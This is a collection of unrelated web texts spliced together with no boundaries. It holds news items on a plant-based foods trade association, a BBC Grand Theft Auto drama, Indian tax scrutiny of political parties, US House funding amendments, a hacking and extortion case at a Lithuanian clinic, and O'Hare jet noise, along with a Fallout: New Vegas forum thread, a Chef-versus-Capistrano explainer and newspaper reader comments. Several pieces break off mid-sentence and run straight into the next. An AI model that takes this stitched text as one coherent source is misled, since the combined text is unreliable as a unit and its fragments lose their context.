When asked what made her switch from critic to advocate, Simon laughed, joking, “You want to know why I sold out?” But she does see it as a change and one that she welcomes. “I got weary of continuing to complain” about the myriad problems in the industry, she said. A year and a half ago she started to offer legal services to companies, which was her first step toward spending her time "in a more constructive way.”
It wasn’t too long after that that Unilever sued Hampton Creek, the maker of egg-less Just Mayo, over the marketing of its signature product. The multinational company, which owns Hellmann’s and Best Foods, the leading mayonnaise brands, argued that Just Mayo was misleading customers because, according to the Food and Drug Administration, mayonnaise must contain some form of egg.
Related: What Came First: the Mayonnaise or the Egg?
“Hampton Creek is completely up front about what it’s doing: making a plant-based mayonnaise,” Simon wrote at the time. “Moreover, the product has been covered in major media outlets like Time, Forbes, and Fortune so how can it possibly be deceiving anybody?”
The lawsuit was later dropped, but between it and the labeling problems that Miyoko Schinner ran into in California with her nut-protein-based cheeses—which cannot be labeled as “cheese”—Simon saw a problem she felt she had a solution to.
“All of this to me was a sign that this industry needed a collective voice to face these issues,” she said.
It’s an argument others have been making too. “The leaders of the so-called good food sector—including Chipotle, Whole Foods and Applegate—are winning big in the marketplace with health-conscious consumers. But the industry’s current lobbying strategy—largely ignoring Capitol Hill—may be a recipe for disaster in the long run, some of its other leaders say,” Politico’s Helena Bottemiller Evich wrote in a story on the lack of a "good food" lobby. When Kind announced that it was hiring a paid lobbyist last month, it might not have been a first, but it was a rarity. Meanwhile, mainstream food companies such as Coca-Cola and General Mills spent $36 million on lobbying efforts in 2014.
But consumer habits are changing too, and foods that are healthier for people and the environment are becoming more popular. Plant-based protein could account for fully a third of overall protein sales by 2054, according to Lux Research, and the global market could hit $5 billion by 2020. Instead of simply getting by with the existing laws and regulations, companies in the growing sector could start to define and influence policies that are more to their advantage. Both veteran and upstart companies that make planted-based foods are interested in the prospect.
The Plant Based Foods Association’s board includes higher-ups from Daiya Foods, The Tofurky Company, and Miyoko’s Kitchen, and it is launching with a total of 23 charter members. Dues paid by companies will finance much of the association’s lobbying efforts and |
Beeb describes its tale as "arguably the greatest British coding success story since Bletchley Park".
"Its triumph was down to a bunch of British gaming geniuses who had known each other since their school days, and at the heart of it all was GTA's creative mastermind, Sam Houser. In autumn 2013 its latest iteration - GTA 5 - earned $1bn in its first three days, becoming the fastest selling entertainment product in history.
"But the violent gameplay coupled with its outstanding commercial success leads to fierce opposition: from parents worried about children immersing themselves in such a violent world; from politicians, alarmed at the values they say it encourages; and above all from moral campaigners, who fight passionately to ban it. At the vanguard of this crusade is the formidable campaigning lawyer Jack Thompson, a man determined to do whatever he can to stop the relentless rise of Grand Theft Auto.
"Game Changer tells the story of an extraordinary chapter in the history of this iconic game, and reveals the major impact it has had on our cultural landscape."
There's no word yet on when Game Changer will appear on UK TV screens.
ORIGINAL STORY 14/4/15 7.00pm Bill Paxton, star of a A Simple Plan and Private Hudson in Aliens, will be playing disbarred lawyer Jack Thompson in the BBC's upcoming drama surrounding the development of Grand Theft Auto.
As reported by Deadline, Paxton will star opposite Daniel Radcliffe, who we knew was in talks to play GTA producer Sam Houser.
Thompson was a staunch opponent of the Grand Theft Auto series, and he frequently sued Rockstar Games whenever violent crime were committed by people who also had an affinity for the developer's products.
"He got Howard Stern kicked off the radio and took on 2 Live Crew," Paxton said of Thompson. "There'd be a gag order and he'd still go on talk shows. He would write these hateful letters to people he was litigating. He just got too emotionally caught up in it."
The BBC drama, simply titled Grand Theft Auto, will be directed by Black Mirror and Misfits director Owen Harris, and was penned by Rev. and the Ambassadors scribe James Wood.
Filming is set to begin on 20th April.Mumbai: Union Finance Minister Arun Jaitley on Saturday said that no change has been made in tax laws to bar income tax returns of registered political parties being scrutinised with regard to deposit of demonetised currency notes and the law is fully equipped to inspect their accounts.
"In the last two and a half years that the government has been in power, the legal and taxation regime with regard to political parties remains absolutely same to what it existed for the last 15-20 years. There is not a single change that has been brought about, nor is there any change that is contemplated," Jaitley said in Mumbai.
"Under the current system, if any political party allows itself to be misused for conversion of black money into white, then there are already sufficient provisions in the law to take action against the political party and the individual.
"Therefore law is fully equipped, and I am cautioning anyone who misuses these provisions that strong action will be taken against them," he said.
His comments came in wake of some news reports that income tax returns of political parties registered with Election Commission cannot be scrutinised with regard to deposit of demonetised currency notes.
Revenue Secretary Hasmukh Adhia also decried reports on the alleged privilege to political parties, saying that they were false and misleading.
"Post demonetisation, no political party can accept donations in Rs 500 and Rs 1,000 notes since they were rendered illegal tender. If there is any discrepancy, political parties are as liable to be questioned by IT authorities as is anyone else. They enjoy no immunity," Adhia said in a tweet.
"Political parties have not been granted any exemption or privilege, post demonetisation and introduction of Taxation Amendment Act, 2016," Adhia added in another tweet.
Income and donations of political parties fall in the purview of Section 13A of the Income Tax Act 1961 which is more than 35 years old and there is no change in the provision, the Revenue Secretary said.
Earlier, the Finance Ministry, in a statement, also said: "There are enough provisions in the Income Tax Act to scrutinise the accounts of the political parties and these political parties are also subject to other provisions of Income Tax, including filing of returns."
According to the ministry, the exemption from Income Tax is given to only registered political parties subject to conditions like maintenance of books and other documents to enable the assessing officer to deduce the their income.
Political parties have to maintain record of voluntary contributions made by persons in excess of Rs 20,000 including the names and addresses of the donors.
The political parties have to submit a report to Election Commission about donations received within the prescribed timeframe.
The accounts of each such political party is to be audited by a chartered accountant, the ministry said.The House Wednesday evening voted overwhelmingly to prevent the Justice Department from using taxpayer funds to lie to Congress.
The vote came in a Wednesday evening series of amendments to a bill, H.R. 5326, funding the Justice Department for 2013. Members approved the language in a 381-41 vote; all 41 "no" votes came from Democrats, although 142 Democrats voted with Republicans in support of the amendment.
The vote reflects the ongoing frustration Republicans — and apparently some Democrats — have with Attorney General Eric Holder Eric Himpton HolderObama political arm to merge with Holder-run group Barack, Michelle Obama expected to refrain from endorsing in 2020 Dem primary: report Ocasio-Cortez to be first guest on new Desus and Mero show MORE.
Rep. Jason Chaffetz Jason ChaffetzTop Utah paper knocks Chaffetz as he mulls run for governor: ‘His political career should be over’ Boehner working on memoir: report Former GOP lawmaker on death of 7-year-old migrant girl: Message should be ‘don't make this journey, it will kill you' MORE (R-Utah) offered the novel funding limitation amendment earlier in the day. The amendment was a reaction to arguments that Justice lied when it told Congress in February 2011 that it had no involvement in a gun-walking program called Operation Fast and Furious.
ADVERTISEMENT
That program allowed guns to enter Mexico and fall into the hands of drug cartel members. Justice later retracted the 2011 letter and acknowledged that the so-called Fast and Furious program was flawed, but Republicans have since argued that Attorney General Eric Holder has stonewalled their requests for more information about the operation."What is totally and wholly unacceptable … is that the Department of Justice would knowingly and willfully present a letter back to Congress on Feb. 4 [2011], that was so inaccurate and so wrong," Chaffetz said during debate. "They basically lied to Congress, and it took months and months and months and months to get to the point where they finally had to rescind that letter."Rep.(R-Texas) also accused Holder and others who "stonewall at best, and lie more likely," and Rep.(R-S.C.) fumed that no one has been punished for the scandal."There hasn't been a demotion, there hasn't been a firing, there hasn't been a sanction, there hasn't been a frowny-face on a performance evaluation," he said.
The House also approved other controversial funding limitation amendments, including one to prevent Justice from defending the 2010 healthcare law, and to prevent Justice from suing states over over voter ID laws.
Rep. Marsha Blackburn Marsha BlackburnTrump’s new Syria timetable raises concern among key anti-ISIS allies Dem lawmaker invites Parkland survivor to attend State of the Union Bipartisan senators press Trump for strategy to protect Syrian Kurds MORE (R-Tenn.) proposed the amendment to block the use of funds in the bill to defend the 2010 healthcare law in court. That amendment was approved in a partisan 229-194 vote.
Rep. David Schweikert David SchweikertThe Hill's 12:30 Report: Sanders set to shake up 2020 race House Dems release 2020 GOP'retirements to watch' for Ethics committee expanding investigation into GOP rep over finance questions MORE (R-Ariz.) offered language preventing Justice from taking actions against states that require photo identification at voting booths. His language was added in a 232-190 vote.
An amendment from Rep. Jeff Duncan (R-S.C.) to prevent Justice from spending money to litigate against states on behalf of the National Labor Relations Board in cases relating to secret ballots in union elections was approved 232-192. And, language from Rep. Scott Garrett Ernest (Scott) Scott GarrettManufacturers support Reed to helm Ex-Im Bank Trump taps nominee to lead Export-Import Bank Who has the edge for 2018: Republicans or Democrats? MORE (R-N.J.) to prevent Justice from being party to court settlements involving the removal of funds from mortgage backed securities trusts was approved 238-185.Hackers have published more than 25,000 private photos, including nude pictures, and other personal data from patients of a Lithuanian cosmetic surgery clinic, police say.
The images were made public on Tuesday by a hacking group calling themselves “Tsar Team”, which broke into the servers of the Grozio Chirurgija clinic earlier this year and demanded ransoms from the clinic’s clients in more than 60 countries around the world, including the UK.
Police say that following the ransom demand, a portion of the database was released in March, with the rest following on Tuesday. It’s unclear how many patients have been affected, but police say dozens have come forward to report being blackmailed. “It’s extortion. We’re talking about a serious crime,” the deputy chief of Lithuania’s criminal police bureau Andzejus Raginskis told reporters.
More than 1,500 British patients are listed in the database. Hackers demanded ransom payments of between €50 and €2,000, paid in bitcoin, depending on the sensitivity of the data stolen – with nude photos, passport scans and national insurance numbers all serving to bump up the ransom requested.
Prior to parcelling out the ransoms patient by patient, the hackers attempted to offer the entire database up for sale for 300 bitcoin – currently worth more than half a million pounds – but the clinic refused to pay. The full database has since been reduced to 50 bitcoin, or about £100,000.
Lithuanian police say they are working with security services in other European countries, and have warned that people who download and store the stolen data could also be prosecuted.
“Clients, of course, are in shock. Once again, I would like to apologise,” Jonas Staikunas, the director of Grozio Chirurgija, told local media. “Cybercriminals are blackmailers. They are blackmailing our clients with inappropriate text messages.”
Lithuanian business site 15min reported that the hack turned attention to the nation’s cybersecurity issues more generally: more than half the country’s sites can be easily attacked, according to a national status report, with “clinics, travel agencies and private doctors’ offices” all highlighted as vulnerable.
Healthcare information security has been in the spotlight following the worldwide outbreak of the WannaCry ransomware attack, which took down IT systems in multiple NHS trusts in early May. But that attack, which saw computers across the UK encrypted with the code required to unlock them sold for $300, was the result of a scattershot campaign, with some falling prey to phishing emails. The Lithuanian attack is far more targeted, and the hackers have been more tenacious in trying to secure their payout.
The Grozio Chirurgija clinic has warned patients on its website not to engage with the blackmailers, or download anything sent to them, for fear of further attacks. Any patient who is contacted by the hackers should inform the police immediately the clinic said.
Tsar Team is another name for the hacking group known to security researchers as APT28 or “Fancy Bear”, which has been linked to hacks on the Democratic National Committee, En Marche and the Konrad Adenauer Foundation. It is not yet known whether the hackers that attacked Grozio Chirurgija are linked to APT28, or if they’re an unrelated group that adopted the same name for disinformation purposes.A lot of PC gamers were excited when KOEI Tecmo announced that Nioh would be coming to the PC. Nioh: Complete Edition releases on November 7th, and it won’t be using the controversial Denuvo anti-tamper tech.
In an interview with WCCFTech, Team Ninja’s Game Director Fumihiko Yasuda confirmed that the game won’t be using it. In today’s day and age that almost all the latest triple-A games, it’s really refreshing knowing that Nioh won’t be using it. Do note that this is a highly anticipated PC release, so we believe that KOEI Tecmo did the right thing here.
Fumihiko Yasuda also confirmed that the game won’t lock graphics settings. A lot of users believed that the team would be offering two locked graphics settings: Action and Movie. However, it appears that these are just two of the available presets. As such, PC gamers will be able to independently adjust the graphics settings.
We don’t know whether the recent Denuvo fails were crucial to KOEI Tecmo’s decision. A lot of companies used Denuvo in order to keep their games safe – from pirates – for at least a respectable number of days. However, cracking groups are now able to crack/hack Denuvo in a matter of hours. Therefore, and at this point, there is no reason at all for publishers to use Denuvo in their games.
But anyway, what’s important here is that Nioh: Complete Edition won’t be using Denuvo at all. Here is hoping that Team Ninja will be able to offer a decent PC version. We also hope that the game will properly support mouse+keyboard. Yes, Nioh is a console game but since it is coming to the PC, we want proper controls like those of all other third-person games.
Stay tuned for more!Pirate Party Australia Concerned By UK Extradition Ruling
UK Judge Quentin Purdy has approved an extradition request to have a student face charges in the United States. Pirate Party Australia is concerned that such precedents will pave the way for similar cases where Australians may be extradited and tried in the US court system.
“By supporting the baseless US extradition case against Richard O’Dwyer today at Westminster Magistrates Court, the judge Judge Quentin Purdy has failed to inject the much needed shot of rationality into the insanity of the UK-US extradition arrangements we had all hoped for. The Sheffield student is accused of infringing copyright by setting up the popular Netherlands-hosted website TV Shack,” said Loz Kaye, Leader of Pirate Party UK, in a press release yesterday[1].
“TV shack provided a catalogue of links to other sites, with no illegal material available from it at any time. As the server was outside of the US, Richard’s lawyer has pointed out that there is simply no valid reason to send a young British citizen to face a court in the US…Since the 2003 Extradition Act came into force, British citizens have been wrenched from their lives in the UK and extradited to the US on the flimsiest of evidence,” he continued.
Pirate Party Australia urges the Australian Government to protect the rights of its own citizens against the powerful US copyright lobby. Pirate Parties worldwide feel that copyright laws are being abused to promote profits, not culture. The flawed claims of the copyright lobby regarding ‘lost income’ have unfairly biased institutions that should remain impartial, and whimsical litigation is now being used to drive profits higher.
“The [US] Department of Justice has turned into a corporate stormtrooper instead of doing the job they are supposed to do. But what do you expect when it’s staffed with former RIAA lawyers? It’s also a great shame that a UK court has decided to kowtow to this ridiculous extradition request when it’s clear the proper venue would be the UK, where the Crown Prosecution Service has already declined to prosecute,” commented Andrew Norton, spokesperson for the United States Pirate Party.
Mr O’Dwyer was arrested in May 2011 by UK authorities and released on £3000 bail, and is currently facing a possible 5 year prison sentence in the United States, for funding the website with advertising. The service is arguably no different to a search engine such as Google, and potentially puts “anyone who hosts or runs a website at risk for simply sharing a link to a video, some music, a photograph or other media.”[2] This places the owner of blogs that feature advertising and link to videos in a precarious situation.
The extradition order is will now be passed to the UK’s Secretary of State for approval. Once confirmed, Mr O’Dwyer has the right of appeal to the High Court[3].
Kenny Tran, an Australian citizen, was sued late last month by a South Korean company in a US court for copyright infringement. The services Mr Tran used to link people to copyrighted material (Facebook, Twitter and YouTube) are operated by Californian companies. This was enough to claim that his operations took place in the United States and therefore fell under US jurisdiction, not Australian or South Korean[4]. This, and the case of Mr O’Dwyer bring into question the concept of sovereignty in terms of international copyright infringement.
“Those accused of committing a crime while on their own national soil should fall entirely within the jurisdiction of that territory. The Australian government owes it to its citizens not to use the same mould as the UK-US extradition agreements. Australian sovereignty is not just to prosecute, it is also to protect. We are capable of running our own legal affairs, and extradition on weak grounds such as ‘copyright infringement’ is mere pandering to foreign interests,” said David Campbell, President of Pirate Party Australia.
[1] http://www.pirateparty.org.uk/press/releases/2012/jan/13/odwyer-us-extradition-go-ahead/
[2] http://www.pirateparty.org.uk/press/releases/2012/jan/13/odwyer-us-extradition-go-ahead/
[3] http://www.judiciary.gov.uk/Resources/JCO/Documents/Judgments/us-v-odwyer-ruling.pdf
[4] http://www.techdirt.com/articles/20111228/03051417211/copyright-tourism-korean-companies-sue-guy-australia-copyright-infringement-california.shtmlThe assault on the Paris offices of Charlie Hebdo, a French newspaper that has repeatedly satirized religion, was one of the deadliest in a history of violent responses and threats against the news media over the mockery of Islam.
The responses have included the assassinations of journalists and writers and attacks on the institutions that published their work. The responses also have broadened in recent years to include bloggers and the makers of Internet videos.
People of many faiths have committed violent acts in the name of religion and issued threats over insults. In Islam, though, there are strict prohibitions on the rendering of images of the Prophet Muhammad and other religious depictions.
In a number of countries where Islam is the prevailing religion, such insults are crimes. Some are punishable by death.Half Of Guantanamo Detainees Now On Hunger Strike
We told you last week about an increase in the number of prisoners on hunger strike at Guantanamo Bay. This week, that number has risen further – to cover half of all inmates at the U.S. detention facility; also, 1 in 10 inmates is now being force fed.
Eighty-four of the 166 prisoners at the camp are on hunger strike, the U.S. military said Sunday; 16 of them are being force fed through tubes.
The Miami Herald's Carol Rosenberg reports:
"Hunger strike figures have been climbing since U.S. troops raided a communal medium-security compound at the prison camps April 13, and placed about 65 captives under single-cell lockdown. Weeks before, the detainees had covered up most of the prison's surveillance cameras and kept themselves largely out of view of their U.S. Army guards, the military said, stirring fears that some were planning to commit suicide."
Rosenberg reports that the Justice Department has notified the attorneys of those men being force fed. One of those prisoners is Samir Naji al Hasan Moqbel, a Yemeni detainee at the camp who has been on hunger strike since Feb. 10. Moqbel wrote an op-ed in The New York Times this month titled "Gitmo Is Killing Me."
"There is no end in sight to our imprisonment," he wrote. "Denying ourselves food and risking death every day is the choice we have made."
Meanwhile, Reuters is reporting that the military is sending fewer than 40 medical reinforcements — including doctors, nurses, corpsmen and medics — to the facility amid the growing hunger strike; 100 medical personnel are already on duty.User Info: Fittmor Fittmor 7 years ago #1
I'll start...
Playing on hardcore, hard, I was a fairly low level making my way to Nipton. It's not my first playthrough so was well aware of the Jackal members who're waiting at the Nipton Road Rest-Stop. I go into sneak mode and start to move around the right hand side, clipping the desert slightly. There are two Jackals in front of me and another three behind the remains of the shop.
I take aim, popping the leader's head like a grape with my silence Varmint Rifle when suddenly I get hit, losing half of me health...
I scope out and there's a Giant ****ing Radscorpion, and three of its minions crowding me. I stand and run toward the gang members, (imagining my character screaming wololololololol). The plan works and the Radscorps start to make mince meat of the gangbangers, just a little too quickly...
The giant bastard closes the gap quickly and stabs me in the back of the head with his stinger, my head pops off and the death sequence starts, I have just enough time to see Oliver Swannick (is that his name) suffer the same, unfortunate fate.
Start>Load www.youtube.com/MDLZRD
First competition now up, win MS Points! Details: www.youtube.com/watch?v=ImufJAe8O_M Maybe I'm a bit sad, but I weirdly enjoy reading people's funny mishaps/adventures etc on here, with that in mind, I thought you's would like to share yours?I'll start...Playing on hardcore, hard, I was a fairly low level making my way to Nipton. It's not my first playthrough so was well aware of the Jackal members who're waiting at the Nipton Road Rest-Stop. I go into sneak mode and start to move around the right hand side, clipping the desert slightly. There are two Jackals in front of me and another three behind the remains of the shop.I take aim, popping the leader's head like a grape with my silence Varmint Rifle when suddenly I get hit, losing half of me health...I scope out and there's a Giant ****ing Radscorpion, and three of its minions crowding me. I stand and run toward the gang members, (imagining my character screaming wololololololol). The plan works and the Radscorps start to make mince meat of the gangbangers, just a little too quickly...The giant bastard closes the gap quickly and stabs me in the back of the head with his stinger, my head pops off and the death sequence starts, I have just enough time to see Oliver Swannick (is that his name) suffer the same, unfortunate fate.Start>Load
User Info: madninjaskillzz madninjaskillzz 7 years ago #2
Not on MY watch.
So I crouch down and take out my Tesla-Beaton...POW right in the kisser, sneak attack critical.
So now...his body won't leave my bunker. I have his power armor clad boot sitting beside Pillowpants, the evil gnome that guards my gold as a warning to all would be thieves. www.abovetheignorance.org
Ke$ha is pretty much my dream woman. My dirtiest thought? Giving her a spongebath. I was chilling in my bunker, reading Dean's Electronics, and I look over at my supply of Absinthe to find it has disappeared. I look to my left to see Paladin Sato sitting there, drinking my Absinthe and leering at my stack of 37 gold bars. This is unacceptable. I know what he is planning, that homeless, underpaid Paladin.Not on MY watch.So I crouch down and take out my Tesla-Beaton...POW right in the kisser, sneak attack critical.So now...his body won't leave my bunker. I have his power armor clad boot sitting beside Pillowpants, the evil gnome that guards my gold as a warning to all would be thieves.
User Info: Fittmor Fittmor (Topic Creator) 7 years ago #3 I was chilling in my bunker, reading Dean's Electronics, and I look over at my supply of Absinthe to find it has disappeared. I look to my left to see Paladin Sato sitting there, drinking my Absinthe and leering at my stack of 37 gold bars. This is unacceptable. I know what he is planning, that homeless, underpaid Paladin.
Not on MY watch.
So I crouch down and take out my Tesla-Beaton...POW right in the kisser, sneak attack critical.
So now...his body won't leave my bunker. I have his power armor clad boot sitting beside Pillowpants, the evil gnome that guards my gold as a warning to all would be thieves.
Actually lol'd, touche sir, touche. www.youtube.com/MDLZRD
First competition now up, win MS Points! Details: www.youtube.com/watch?v=ImufJAe8O_M Actually lol'd, touche sir, touche.
User Info: gladrose gladrose 7 years ago #4 Okay, my hands down favorite o_O moment: I was doing Heartache by the Number and decided to go the diplomatic route. So I had Cass and Rex wait in the Atomic Wrangler while I snuck over to the Silver Rush and grabbed the needed documents from the safe, since I knew Cass would start shooting up the place if I took her. Go in, get the stuff all stealthy-like, and go back to the Wrangler to get my dog and my hunting buddy.
Cass isn't there.
Crap. I check the Mojave Outpost and Lucky 38 before I think to check my Pip-Boy, which tells me she's...dun dun dun...in the Silver Rush. Oh my lord she's gone rogue! I hustle over there expecting a bloodbath, but no, all is quiet. And no sign of Cass. Okay. Weird.
So I go upstairs and try to find her. I open the doors to all the rooms, can't quite get to where her marker is no matter what I try so I figure crap, it's a glitch, she isn't there at all. Then I hear her say, "Caravan of two now..."
Um....what? I keep walking back and forth upstairs in the Silver Rush, and I hear her talking but I can't for the life of me find her. Finally, I go into one of the rooms I had previously checked and look all around, and I suddenly notice her wedged between the opened door and the wall. I close the door and there she is, facing the corner of the room like something out of the Blair Witch Project.
So. Freaking. Weird. I had to tell her to wait then follow me again to get her out of the corner and out of the Silver Rush. And after all my care to avoid a bloodbath they went hostile on me anyway and I had to take 'em out.
User Info: AdamVonDoom AdamVonDoom 7 years ago #5 This just happened to me last night. It was night and I was sneaking up on the Mysterious stranger to kill him to get the Mysterious magnum. He's sleeping on his cot, so I sneak up and since I have the Mr. Sandman perk, I choose the murder option. Instead, my character lays down next to him and they both "melt" into the ground together. I immediately pop into 1st person view, but he is gone and with it, my Magnum.
Reload.
User Info: Fittmor Fittmor (Topic Creator) 7 years ago #6 www.youtube.com/MDLZRD
First competition now up, win MS Points! Details: www.youtube.com/watch?v=ImufJAe8O_M Anyone else? =]
User Info: neversleeps84 neversleeps84 7 years ago #7 One cool encounter I saw in HH DLC: near one of the bridges (can't remember which) I came upon two tribesmen fighting, one of them completely on fire, made me burst out laughing. I wanted to open fire, but I just let both of them go on. Eventually, the White Legs with the Shishkebab won, so I shot him in the head and took it.
Also, planting a frag mine, then shooting someone and watching them run into it is always fun for the whole family.
User Info: DerangesCheese DerangesCheese 7 years ago #8 snuk into quarry junction lvl 5 and got the lmg and fat man with one and a half stealth boys true story
User Info: RyoKaiba RyoKaiba 7 years ago #9 Don't know if you've done Volare, but the final part involves going into Lake Mead and raising the bomber with ballasts using a detonator by the docks. The Problem? The ruined shelter nearby has a Cazador nest in it. I made Arcade and Rex rest about 40 feet from the ruined shelter, while I jump in the lake and do my work.
As I'm about half-way there, I start seeing all these XP increases for seemingly no reason. When I get back, I find Arcade and Rex in different positions, and over half of the cazadores dead. Needless to say, I never underestimated Arcade or Rex ever again.EXCLUSIVE: Steve Jobs was front and center again Sunday night when "60 Minutes" aired its much-anticipated interview with his biographer, Walter Isaacson. It proably won't be the last time the Apple co-founder will dominate our screens.
Sony is moving forward with a Steve Jobs movie based on Isaacson's book. And one of the writers being courted by producers to pen his story, according to a person who was briefed on the project but not authorized to speak about it publicly, is Aaron Sorkin, Hollywood's chronicler-in-chief of the complicated visionary.
The "Moneyball" and "Social Network" writer was said by the person to be considering the prospect but had made no decisions. Sony and a Sorkin representative declined to comment on the writer's potential involvement.
Would the writer be a good fit for the story of the Apple leader, which is being produced by "Saving Private Ryan" producer Mark Gordon and the Hollywood management and producing mainstay Management 360?
Sorkin is known for penning stories about the lives of fiercely smart, if difficult, figures, of which Jobs certainly was one. Isaacson's take on the late executive as someone whose penchant for "magical thinking" was both a great advantage and a fatal liability seems particularly suited to a Sorkin script, as does the detail about Jobs' biological father, whom he met unwittingly at a Silicon Valley restaurant.
Of course, Sorkin could feel like he's already been done the Silicon Valley thing with "Social Network." And Sorkin did know Jobs, which could make things a bit sticky. In fact, it's rare for a biopic to cover someone who so recently died, which could create a challenge for any writer.
On the other hand, the tech pioneer had once asked Sorkin to write a Pixar movie. Sorkin declined, saying he couldn't "make inanimate objects talk." But writing a movie about the man behind Pixar might serve as a certain kind of tribute.
Whoever winds up penning it, there's clearly an appetite among the viewing public for Jobs' story, especially as told by Isaacson: Sunday night's edition of "60 Minutes" was up an impressive 47% in the coveted 18-49 demographic compared to the previous week.
RELATED:
Will Steve Jobs' story make a good feature film?
Is Steve Jobs' 1984 Apple spot an underrated film influence?
Steve Jobs' Apple had another role: movie star
-- Steven Zeitchik
twitter.com/ZeitchikLAT
Photo: Images of Steve Jobs at an Apple store. Credit: Christian Palma/Associated PressDeployment comes with far too many tools. For instance, this whole set is often used together:
And that’s not counting the smaller things like Vagrant plugins, Capistrano plugins, the many Chef cookbooks and so on, which would also be used with these. And it’s definitely not counting the many, many competitors. That whole list is just one stack of tools.
For some of them, it’s clear why you use them. VirtualBox? Yeah, okay, something has to make a VM if you test locally.
But why do you need both an “app deploy” tool (Capistrano) and a “server configuration” tool (Chef)? Can’t your server configuration just include your app? For that matter, if your “app deploy” tool runs scripts as root, can’t it configure your server?
There Can Be Only One?
Some people do use just one. It’s possible to deploy apps through Chef, but please don’t! It’s possible to do all your server configuration through Capistrano — really, really don’t.
For best results, think of Chef and Capistrano as two separate tools for two different jobs.
So what are those jobs?
Bring Out the Five-Dollar Words
Capistrano handles deployment as events. When you deploy, it makes a nice new deploy version of all the files, separate from the previous deploy. Then it switches a single symbolic link to put the new files in place. Want to roll back a version that didn’t work? No problem. Capistrano easily, quickly changes the symbolic link and you’re good to go.
Capistrano also handles separate smaller events that depend on the first one: when you deploy, you’ll often run migrations, rebuild asset files (like minified JavaScript), clear caches, install gems and do other app-specific setup.
But it usually boils down to “run this code” – usually Ruby code or Bash code. It’s treated as a set of actions to take.
Chef is all about idempotence. That means you tell is “make all this stuff true” and it does. That’s a pretty cool way to set up a server, but it’s pretty bad for app deployment. “Use the latest version” isn’t a constant state (not idempotent) and it’s not exactly what you want anyway.
What does “make something true” involve? For Chef it usually boils down to “put a file in this location” or “install this package” or “use this app configuration.” More rarely it might mean “keep this process running” (often via runit) or “there must be no file at this location.” There are a lot of things Chef can keep true for you.
Where Chef’s approach falls down is when you care less about the result and more about the process, like with zero-downtime deploys. Sure, it’s great that you wind up with all the right files and processes in place, but can we avoid taking down the application while we do it? This is Capistrano’s strength and Chef’s weakness.
Where Capistrano’s approach falls down is when you care a lot about permissions or content. Capistrano, at heart, works by SSHing into a machine and running commands. That’s a terrible way to put files in place, and it’s a slow way to verify the machine’s existing state. Chef is much better than Capistrano to make tiny, incremental changes to a machine that’s nearly correct.
By the way, many competing tools don’t make this division in the same way. For instance, Ansible or SaltStack tend to treat everything more like orchestration, which is a hybrid between Capistrano and Chef. That comes with its own tradeoffs.
So What’s the Reason To Use Both Again?
Chef is good for situations where you say “here are a bunch of things I want for my host to be. Make sure they stays true.”
Capistrano is good for situations where you say “here’s an update or an operation. Make it happen.”
They sound pretty similar, but they’re actually quite different.
Make sense?
Free Email Rails Class? Free Chapters? News?
You'll hear about Ruby on Rails internals, database migrations and whatever Rails programmers can benefit from.NYT Pick badger2013 Madison, WI December 16, 2016 It's hard to say for certain how much of an impact the hacking and the FBI letter had, but that in and of itself is a problem. Just as performance enhancing drugs cast a shadow over the legitimacy of athletic contests, so too does this sort of outside interference and questionable politicking by the FBI reflect negatively on an election.
Considering Clinton's lead in the popular vote, it's easy to see how these events may have in fact cost her the election, making the 45th president of the U.S. the selection of Putin as much as the selection of the American people. Flag
Flag 1669 Recommend
Recommend Share this comment on Facebook Share this comment on Twitter
NYT Pick fairtax NH December 16, 2016 Mrs. Clinton is right about a Russian attack on our democracy, but she is failing to take any responsibility for her loss. Comey's letter and the release of DNC email didn't cost her the election. She lost because of her own actions (her email misdeeds), and statements, such as the 'basket of deplorables' and 'coal miners will lose their jobs'. The Russians and the FBI director's letter did not cost her the election. Republican gains across the board are a good indicator of the overall bad climate for Clinton and Democrats, who were also tarnished with Mr. Obama's failures and the plight of the forgotten and hurting middle class. If the Dems continue to whine about their loss, blaming everyone but themselves, they'll lose again, and again. Flag
Flag 651 Recommend
Recommend Share this comment on Facebook Share this comment on Twitter
NYT Pick Bruce Mack Corcoran, MN December 16, 2016 Not my refusal to hold press conferences, my dismissal of the Goldman Sachs speeches, my assumption that identity politics would suffice, my dumb choice of a |
Coalition — a group that formed a year ago to object to a new runway at O'Hare that has resulted in more noise in some neighborhoods — said they were pleased the referendum will appear on the ballot. But representatives of the group said more must be done to reduce the hundreds of flights over their homes in neighborhoods that had little or no jet noise in previous years.
“We welcome the referendum,” said Jac Charlier, a member of the group’s leadership team. “But it doesn’t substitute for real discussion.”
The referendum — as well as a long-delayed Chicago City Council hearing with federal officials as well as representatives of the city’s Department of Aviation — does not address the basic issue that the flight path changes were made without input from the residents whose quality of life has been significantly reduced because of noise pollution and dropping home values, Charlier said.
“We are demanding a seat at the table to develop solutions,” Charlier said. “We haven’t been heard. We want to address how the planes are allocated.”
Landing and departing planes must be spread more equitably among the airport's runways to prevent Norwood Park, Sauganash, Forest Glen, Edgebrook and North Park from bearing the brunt of the jet noise, according to the group.
Laurino said she would continue to press federal officials to address her constituents’ complaints.
“I think we’re going in the right direction,” Laurino said, adding that she plans to continue working with U.S. Rep. Mike Quigley (D-Chicago) to find a solution. “We’re trying our best. We need to keep the conversation going.”
The coalition has asked to meet with Mayor Rahm Emanuel seven times, Charlier said, with the most recent request sent Thursday. The mayor’s office has not responded to any of the requests, Charlier said.
“This is ridiculous and indicates dysfunction in the mayor’s office,” Charlier said.
Bill McCaffrey, a spokesman for the mayor’s office, did not respond to questions from DNAinfo Chicago about jet noise caused by the new runway configuration or whether Emanuel planned to meet with the group.
O’Connor said the group’s voice has been heard, but the $6.6 billion O'Hare Modernization Plan — which includes the new runway — was approved in 2001 and cannot be reversed.
“I’ve been very honest with everyone,” O’Connor said. “I don’t know if they will get a seat at the table. That is what the aldermen are for.”
The hearing, requested by O’Connor and Laurino, has been delayed in part because there is a question of what can be done to change the flight path of airplanes arriving at and departing from O’Hare, O’Connor said.
“This is not going to be quick,” O’Connor said.
The new runway, which opened Oct. 17, allows planes to take off heading west, while arriving planes approach the airport from the east.
Federal Aviation Administration officials have said the new runway configuration will be safer and more efficient, especially during bad weather at O'Hare. Before the new runway opened, most planes used O'Hare's diagonal runways, which often forced the planes to cross paths on the ground.
Both federal and local aviation officials have been reluctant to revise the way planes are directed to take off and land because of concerns about noise.
The map that outlines the amount of sound expected in areas around the airport will be updated once the airport modernization project is complete in 2020, officials said.
A study that could result in more homes qualifying for soundproofing is underway but has no estimated date of completion, FAA spokesman Anthony Molinaro said.
